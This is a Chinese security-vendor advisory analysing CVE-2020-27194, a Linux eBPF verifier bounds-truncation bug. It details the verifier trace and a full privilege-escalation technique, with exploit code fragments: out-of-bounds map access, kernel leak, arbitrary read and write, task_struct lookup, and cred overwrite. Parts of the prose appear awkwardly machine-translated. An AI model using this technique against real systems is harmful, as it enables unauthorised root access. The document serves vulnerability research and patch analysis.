CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用

原创 360CERT [三六零CERT](javascript:void(0)😉 今天

img

报告编号:B6-2020-110302

报告来源:360-CERT

报告作者:360-CERT

更新日期:2020-11-03

0x01突破背景

2020年11月1日,360CERT检测到国外安全研究人员simon通过fuzz在Linux内核的ebpf模块中发现一个越界标识符的断裂,可导致权限提升,CVE编号:CVE-2020-27194。

该突破是由于eBPF验证程序中进行或操作时未正确计算寄存器范围,而细长引发越界读取和写入。该突破存在于5.8.x 内核分支,目前有部分发行版使用了此分支,如Fedora 33和Ubuntu 20.10。

2020年11月03日,360CERT该突破进行了详细分析,并完成突破利用。

0x02风险等级

360CERT该突破的评估结果如下

评分方式等级
威胁等级高危
影响面一般
360CERT评分7.8

0x03影响版本

影响 5.8.x 版本及以上的Linux内核分支

影响应用该分支的发行版本:Fedora 33,Ubuntu 20.10

0x04环境建设

(1)下载源码

git clone https://github.com/torvalds/linux.git
git checkout 5b9fbeb75b6a98955f628e205ac26689bcb1383e~1

5b9fbeb75b6a98955f628e205ac26689bcb1383e为修复漏洞的补丁,我们将分支切换到前一个补丁

(2)编译内核

make default
make menuconfig
make -j8

关闭随机化,开启调试信息和ebpf选项

Processor type and features  --->
    [ ]   Randomize the address of the kernel image (KASLR) 

Kernel hacking  --->
    Compile-time checks and compiler options  --->  
        [*] Compile the kernel with debug info

General setup  ---> 
    [*] Enable bpf() system call

0x05进攻分析

5.1 eBPF简介

eBPF是扩展的Berkeley Packet Filter的缩写。开始是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙,安全,内核调试与性能分析等领域。

eBPF程序的运行过程如下:在用户空间生产eBPF“字节码”,然后将“字节码”加载进内核中的“虚拟机”中,然后进行一些列检查,通过则能够在内核中执行这些类似的Java与JVM虚拟机,但是这里的虚拟机是在内核中的。

bpf程序的执行流程如下图:

img

5.2进攻成因

进攻点在scalar_min_max_or()函数:

static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
                struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->smin_value;
    u32 umin_val = src_reg->umin_value;

    /* Assuming scalar64_min_max_or will be called so it is safe
     * to skip updating register for known case.
     */
    if (src_known && dst_known)
        return;

    /* We get our maximum from the var_off, and our minimum is the
     * maximum of the operands' minima
     */
    dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
    dst_reg->u32_max_value = var32_off.value | var32_off.mask;
    if (dst_reg->s32_min_value < 0 || smin_val < 0) {
        /* Lose signed bounds when ORing negative numbers,
         * ain't nobody got time for that.
         */
        dst_reg->s32_min_value = S32_MIN;
        dst_reg->s32_max_value = S32_MAX;
    } else {
        /* ORing two positives gives a positive, so safe to
         * cast result into s64.
         */
        dst_reg->s32_min_value = dst_reg->umin_value; // 【1】
        dst_reg->s32_max_value = dst_reg->umax_value;
    }
}

由于【1】处的将64位的值赋值到32位的变量上,导致截断,长长的错误计算了寄存器的范围,从而绕过bpf的检查,导致越界识别。

具体可以看

    ……
9: (79) r5 = *(u64 *)(r0 +0)
 R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
        ……

9:用户的值通过r5寄存器嵌入值2

10:r0赋值给r8,r0保存map的地址,对触发突破无影响

11:r0赋值1,否则会认为r0导致地图指针产生报错

12:r6赋值0x600000002

14:通过r5 <r6的条件判断是否为r5寄存器的无符号范围最大为umax_value = 25769803777 = 0x600000001

16:通过r> 0x0的条件判断是否为r5寄存器的无符号范围最小为umin_value = 1

18:对r5进行or运算,触发入侵函数scalar_min_max_or,调用到入侵函数中的【1】处,赋值后r5寄存器的s32_min_value = 1,s32_max_value = 1

19:将r5赋值r6,得到r6为invP1,说明检查模块认为r6是常数1,而实际此时r6为2

20:对r6进行右移操作,此时检查模块认为r6得到的结果为invP0(常数0),而实际此时r6为1

具体调试过程如下:

img

dst_reg-> umin_value的数值1,dst_reg-> umax_value的数值为0x600000001,而在赋值dst_reg-> s32_max_value的过程中发生了截断(64位的值赋值到32位的有符号符号),导致dst_reg-> s32_max_value的增量1,此时目标寄存器的32位范围为(1,1),因此bpf的验证模块认为这是常数1。

当我们预期2时,进行进行右移操作,验证模块认为是1 >> 1 = 0,而实际是2 >> 1 = 1,所以可以进行进行乘法操作构造成任意数,因为在验证模块看来只是0乘以任意数,结果都是0,从而绕过检查,可以对地图指针进行任意加减,造成越界解读。

0x06进攻利用

该突破利用和CVE-2020-8835类似,可以参考之前笔者对CVE-2020-8835的利用构造:

6.1越界理解进行信息扭曲

mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);

key_size:表示索引的大小范围,key_size = sizeof(int)= 4。
value_size:表示地图上每个元素的大小范围,可以任意,只要控制在一个合理的范围max_entries:表示地图上的大小,编写利用时将其设置为1

阳离子内核地址

bpf_create_fd创建的是一整个bpf_array结构,我们放置的数据放在value []处

struct bpf_array {
    struct bpf_map map;
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[];//<--- elem
        void *ptrs[];
        void *pptrs[];
    };
}

value []在bpf_array整个结构的替换为0x110,所以*(&map-0x110)为bpf_map的结构地址

struct bpf_map {
    const struct bpf_map_ops *ops;
    struct bpf_map *inner_map_meta;
    void *security;
    enum bpf_map_type map_type;
    //....
    u64 writecnt;
}

bpf_map有一个常量结构bpf_map_ops * ops; 静态,当我们创建的地图是BPF_MAP_TYPE_ARRAY的时候保存的是array_map_ops,array_map_ops是一个变量,可以用作内核地址。

前缀map_elem地址

&exp_elem [0] -0x110 + 0xc0(wait_list)处保存着指向自身的地址,用于放置exp_elem的地址

(gdb) p/x &(*(struct bpf_array *)0x0)->map.freeze_mutex.wait_list
$9 = 0xc0

构造任意读

通过BPF_OBJ_GET_INFO_BY_FD命令进行任意读,BPF_OBJ_GET_INFO_BY_FD会调用bpf_obj_get_info_by_fd:

case BPF_OBJ_GET_INFO_BY_FD:
        err = bpf_obj_get_info_by_fd(&attr, uattr);
#define BPF_OBJ_GET_INFO_BY_FD_LAST_FIELD info.info

static int bpf_obj_get_info_by_fd(const union bpf_attr *attr,
                  union bpf_attr __user *uattr)
{
    int ufd = attr->info.bpf_fd;
    struct fd f;
    int err;

    if (CHECK_ATTR(BPF_OBJ_GET_INFO_BY_FD))
        return -EINVAL;

    f = fdget(ufd);
    if (!f.file)
        return -EBADFD;

    if (f.file->f_op == &bpf_prog_fops)
        err = bpf_prog_get_info_by_fd(f.file->private_data, attr,
                          uattr);
    else if (f.file->f_op == &bpf_map_fops)
        err = bpf_map_get_info_by_fd(f.file->private_data, attr,
                         uattr);
                         ……

之后调用bpf_map_get_info_by_fd:

static int bpf_map_get_info_by_fd(struct bpf_map *map,
                  const union bpf_attr *attr,
                  union bpf_attr __user *uattr)
{
    struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
    struct bpf_map_info info = {};
    u32 info_len = attr->info.info_len;
    int err;

    err = bpf_check_uarg_tail_zero(uinfo, sizeof(info), info_len);
    if (err)
        return err;
    info_len = min_t(u32, sizeof(info), info_len);

    info.type = map->map_type;
    info.id = map->id;
    info.key_size = map->key_size;
    info.value_size = map->value_size;
    info.max_entries = map->max_entries;
    info.map_flags = map->map_flags;
    memcpy(info.name, map->name, sizeof(map->name));

    if (map->btf) {
        info.btf_id = btf_id(map->btf); // 修改map->btf 就可以进行任意读,获得btf_id,在btf结构偏移0x58处
        info.btf_key_type_id = map->btf_key_type_id;
        info.btf_value_type_id = map->btf_value_type_id;
    }

    if (bpf_map_is_dev_bound(map)) {
        err = bpf_map_offload_info_fill(&info, map);
        if (err)
            return err;
    }

    if (copy_to_user(uinfo, &info, info_len) || // 传到用户态的info中,泄露信息
        put_user(info_len, &uattr->info.info_len))
        return -EFAULT;

    return 0;
}
u32 btf_id(const struct btf *btf)
{
    return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id  #获取id在btf结构中的偏移
$56 = 0x58

(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id #获取btf_id在bpf_map_info中偏移
$57 = 0x40

所以只需要修改map-> btf为target_addr-0x58,就可以转移到用户态信息中,泄漏的信息在结构bpf_map_info结构移位0x40处,由于是u32类型,所以只能使用4个字节。

利用代码如下:

static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info) 
{
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)&key,
        .value = (__u64)value,
            .info.bpf_fd = mapfd,
            .info.info_len = 0x100,
            .info.info = (__u64)info,
    };

    syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
    return *(uint32_t *)((char *)info+0x40);
}

6.2查找task_struct

ksymtab 保存init_pid_ns结构的偏移,init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串

(gdb) p &__ksymtab_init_pid_ns
$4 = (<data variable, no debug info> *) 0xffffffff82322eb4
(gdb) x/2wx 0xffffffff82322eb4
0xffffffff82322eb4:    0x001264cc    0x0000a28f
(gdb) x/2s 0xffffffff82322eb8+0x0000a28f
0xffffffff8232d147:    "init_pid_ns"
0xffffffff8232d153:    "put_pid"
(gdb) x/4gx 0xffffffff82322eb4+0x001264cc
0xffffffff82449380 <init_pid_ns>:    0x0000000000000002    0x0080000400000000
0xffffffff82449390 <init_pid_ns+16>:    0x0000000000000000    0x0000000000000000

所以我们通过搜索“ init_pid_ns”字符串可以得到__kstrtab_init_pid_ns的地址,然后再通过搜索匹配地址+该地址上四个字节(表示转换)是否等于__kstrtab_init_pid_ns的地址来判断是否为__ksymtab_init_pid_ns,此时找到的地址为__ksymtab_init_pid_ns+4,减去4就是__ksymtab_init_pid_ns,上面有init_pid_ns结构的转变,与__ksymtab_init_pid_ns地址相加就可以得到init_pid_ns结构的地址。

之后通过pid和init_pid_ns查找对应的pid的task_struct,这里实际上就是要理清内核的查找过程,在写利用的时候模拟走一遍。最后找到task_struct中cred位置。内核是通过find_task_by_pid_ns函数实现查找过程的:

struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
    RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
             "find_task_by_pid_ns() needs rcu_read_lock() protection");
    return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}

nr为当前进程的pid,ns为init_pid_ns结构地址,我们需要的是idr细分的内容

struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
    return idr_find(&ns->idr, nr);
}
lib/idr.c:
void *idr_find(const struct idr *idr, unsigned long id)
{
    return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}

需要获取&idr-> idr_rt和idr-> idr_base

lib/radix-tree.c:
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
    return __radix_tree_lookup(root, index, NULL, NULL);
}
void *__radix_tree_lookup(const struct radix_tree_root *root,
              unsigned long index, struct radix_tree_node **nodep,
              void __rcu ***slotp)
{
    struct radix_tree_node *node, *parent;
    unsigned long maxindex;
    void __rcu **slot;

 restart:
    parent = NULL;
    slot = (void __rcu **)&root->xa_head;
    radix_tree_load_root(root, &node, &maxindex); //将root->xa_head的值赋给node
    if (index > maxindex)
        return NULL;

    while (radix_tree_is_internal_node(node)) {
        unsigned offset;

        parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
        offset = radix_tree_descend(parent, &node, index); //循环查找当前进程的node
        slot = parent->slots + offset; //
        if (node == RADIX_TREE_RETRY)
            goto restart;
        if (parent->shift == 0) // 当shift为0时,退出,说明找到当前进程的node
            break;
    }

    if (nodep)
        *nodep = parent; 
    if (slotp)
        *slotp = slot; 
    return node; 
}

重点看radix_tree_descend函数实现:

RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent, 
            struct radix_tree_node **nodep, unsigned long index)
{
    unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK;  // 要读取parent->shift的值,并与0x3f 与计算
    void __rcu **entry = rcu_dereference_raw(parent->slots[offset]);  // 获取parent->slots[offset] 作为下一个node

    *nodep = (void *)entry; //

    return offset; //
}

radix_tree_node的结构如下:

#define radix_tree_node xa_node

struct xa_node {
    unsigned char    shift;        /* Bits remaining in each slot */
    unsigned char    offset;        /* Slot offset in parent */
    unsigned char    count;        /* Total entry count */
    unsigned char    nr_values;    /* Value entry count */
    struct xa_node __rcu *parent;    /* NULL at top of tree */
    struct xarray    *array;        /* The array we belong to */
    union {
        struct list_head private_list;    /* For tree user */
        struct rcu_head    rcu_head;    /* Used when freeing node */
    };
    void __rcu    *slots[XA_CHUNK_SIZE];
    union {
        unsigned long    tags[XA_MAX_MARKS][XA_MARK_LONGS];
        unsigned long    marks[XA_MAX_MARKS][XA_MARK_LONGS];
    };
};

获得当前进程的node后就可以通过pid_task获取相应的task_struct:

enum pid_type
{
    PIDTYPE_PID,
    PIDTYPE_TGID,
    PIDTYPE_PGID,
    PIDTYPE_SID,
    PIDTYPE_MAX,
};
type 为PIDTYPE_PID, 值为0

#define hlist_entry(ptr, type, member) container_of(ptr,type,member)

struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
    struct task_struct *result = NULL;
    if (pid) {
        struct hlist_node *first;
        first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), //获取&pid->tasks[0] 的内容
                          lockdep_tasklist_lock_is_held());
        if (first)
            result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first为pid_links[0]的地址,由此获得task_struct的起始地址
    }
    return result;
}

6.3构造任意写

在exp_elem上填充伪造的array_map_ops,伪造的array_map_ops中将map_push_elem填充为map_get_next_key,这样将map_push_elem时就会变成map_get_next_key,然后将&exp_elem [0]的地址覆盖到exp_map [0],同时要作为过一些检查

spin_lock_off = 0
max_entries = 0xffff ffff 
//写入的index要满足(index >= array->map.max_entries), 将map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK时,map_update_elem 会调用map_push_elem

最后调用bpf_update_elem任意写内存

 bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
 ->array_map_get_next_key
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)   
{                                                                                   
    struct bpf_array *array = container_of(map, struct bpf_array, map);             
    u32 index = key ? *(u32 *)key : U32_MAX;                                        
    u32 *next = (u32 *)next_key;                                                    

    if (index >= array->map.max_entries) {    //index                                      
        *next = 0;                                                                  
        return 0;                                                                   
    }                                                                               

    if (index == array->map.max_entries - 1)                                        
        return -ENOENT;                                                             

    *next = index + 1;                                                              
    return 0;                                                                       
}

map_push_elem的参数是值和uattr的标志,分别对应array_map_get_next_key的键和next_key参数,之后有index =值[0],next =标志,最终效果是* flags =值[0] +1,这里索引和next都是u32类型,所以可以任意地址写4个字节。

所以利用的整体思路是:

  1. 通过裂缝,从而传递进来的变量2,而验证模块认为是1,长剑通过右移和乘法操作构造任意数,对地图指针进行加减造成越界识别。
  2. 通过&exp_elem [0] -0x110,获得exp_map的地址,exp_map [0]保存着array_map_ops的地址,可以用作内核地址
  3. &exp_elem [0] -0x110 + 0xc0(wait_list)处保存着指向自身的地址,用于放置exp_elem的地址
  4. 利用任意读查找init_pid_ns结构地址
  5. 利用进程pid和init_pid_ns结构地址获取当前进程的task_struct
  6. 在exp_elem上填充伪造的array_map_ops
  7. 修改地图的一些分支绕过一些检查
  8. 调用bpf_update_elem任意写内存
  9. 修改进程task_struct的cred进行提权。

提权效果图:

img

0x07补丁分析

img

按正常处理思路,寄存器32位的范围和64位的范围应该分开处理,突破的成因正是直接直接将64位值赋值给32位的变量,导致截断,因此补丁就是将32位和64位的情况分开,修正赋值的内容,阻止了整体截断的情况。

0x08时间线

2020-11-01 作者公开突破信息

2020-11-02 360CERT完成突破利用

2020-11-03 360CERT发布突破分析与利用报告

0x09参考链接

  1. https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/
  2. https://github.com/torvalds/linux/commit/5b9fbeb75b6a98955f628e205ac26689bcb1383e
  3. https://xz.aliyun.com/t/7690

转载自https://mp.weixin.qq.com/s/Jt50Ey-abKf9m-QgSCJb8Q

admin-root 系统安全 web安全 安全架构
已标记关键词 清除标记